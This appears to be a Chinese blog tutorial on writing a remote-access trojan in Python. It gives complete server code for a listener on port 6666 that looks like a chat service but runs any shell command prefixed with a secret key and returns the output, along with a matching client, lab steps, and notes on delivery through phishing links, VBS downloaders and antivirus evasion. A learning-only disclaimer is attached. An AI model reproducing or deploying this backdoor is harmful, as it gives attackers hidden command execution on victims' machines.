基于Python/Socket实现小型的远程木马(包含实验)

| 警告：仅供参考学习，不得做违法的事！免责声明：本文仅仅只是展示攻击手段，提高防范意识。任何由于该文章产生的消极后果与本作者无关。

前言

本文是用 Python 的 Socket 模块进行的服务搭建，主要是基于TCP服务的远程木马，因此要掌握一点TCP服务搭建的知识，可以参考我的另一篇文章，结合网上搜索的知识，搭建TCP服务器和客户端，然后再进行实验。

参考文章：用Python搭建非常简易的TCP客户端和服务器_br0sy的博客-CSDN博客

还要用到 Python 的 os 模块，进行命令操作，接下去话不多说，直接开始写代码

TCP服务端代码

import socket, os
​
# 以下不写注释了，要了解原理可参考我上面的文章或自行网上搜索
def attack():
    s = socket.socket()
    try:
        s.bind(("0.0.0.0", 6666))
        s.listen()
        chanel, cilent = s.accept() # accept会造成线程阻塞，但是一般情况下不考虑这个
        while True:
            recive_content = chanel.recv(1024).decode()
            if recive_content.startswith("+=+=+"):
                # 非正常业务
                # 后门代码，key 是 +=+=+# ，后面加命令，就可以执行了
                command = recive_content.split("#")[-1]
                result = os.popen(command).read()
                # 回传信息
                chanel.send(result.encode())
            else:
                # 正常的会话(正常业务)
                print(recive_content)
                # 价值一个亿的人工智能代码↓(doge)
                response_content = recive_content.replace("吗？", "!")
                chanel.send(response_content.encode())
    except:
        # 防止服务器因报错停止
        s.close
        attack()
    
    
if __name__ == '__main__':
    attack()

TCP客户端代码

import socket
​
# 获取socket对象
s = socket.socket()
# 连接TCP服务器 下面这个ip是我的 被攻击机的ip，在下面的实验中可知
s.connect(("192.168.121.133", 6666))
while True:
    content = input("请输入要传到服务器的数据：")
    # content = "+=+=+#" + content   # 只要执行命令的话就打开这行代码，自动补充了key
    s.send(content.encode())
​
    # 传回数据
    recive_content = s.recv(10240).decode() # 这里缓冲区设置的大一点，防止回传信息过多而无法接收
    print(recive_content)

实验环境

客户端(攻击端)：win10: ip:????(不需要知道)

服务端(被攻击端)：Ubuntu: ip ：192.168.121.132

方法

1、Ubuntu中

将TCP服务端代码放到 Ubuntu 中，并执行，就会在特定端口打开服务

如下：

开启前：在终端输入 netstat -ant 查看端口情况

现在我们开启服务：

再输入 netstat -ant 会发现 6666 端口已经开启监听

2、Win10中

在win10中，我们直接运行 客户端代码，就可以和服务器建立一个 TCP 连接，并开始传数据

于是我们可以开始干点猥琐的事情，比如....查看ip！（实在是太猥琐了）

关于如何攻击的讨论

看完上面的，你会说，别人又不傻，怎么会来执行你的脚本，不过这就涉及到社工了，总有办法的。

比如如果对方有执行代码的环境，那么也许我们可以发个邮件给别人，点开链接，进入某个我们自己写的网站，然后下载一些py程序，或者干脆下载一个应用，然后把后门放进去，由于每台windows都可以直接执行 vbs 文件，所以老旧的办法是用vbs写中间下载代码，绕过杀毒软件（免杀），然后下载真后门，不过现在好像杀毒软件都比较吊，有点难绕...以上仅是攻击讨论猜测，纯属玩笑话，看看就好。

仍存在的问题

在实验过程中，发现其实这个服务端代码写的仍然有点问题，应该是阻塞的问题，当我们在客户端中输入了错误的命令时，服务端会发生阻塞，客户端就得不到任何回显了，当然我们可以重启客户端（这是我们能做的），就可以重新发命令。

然后有的时候会莫名其妙产生BUG，估计也和操作系统有关系，不太懂了。以后学到了再回头说吧。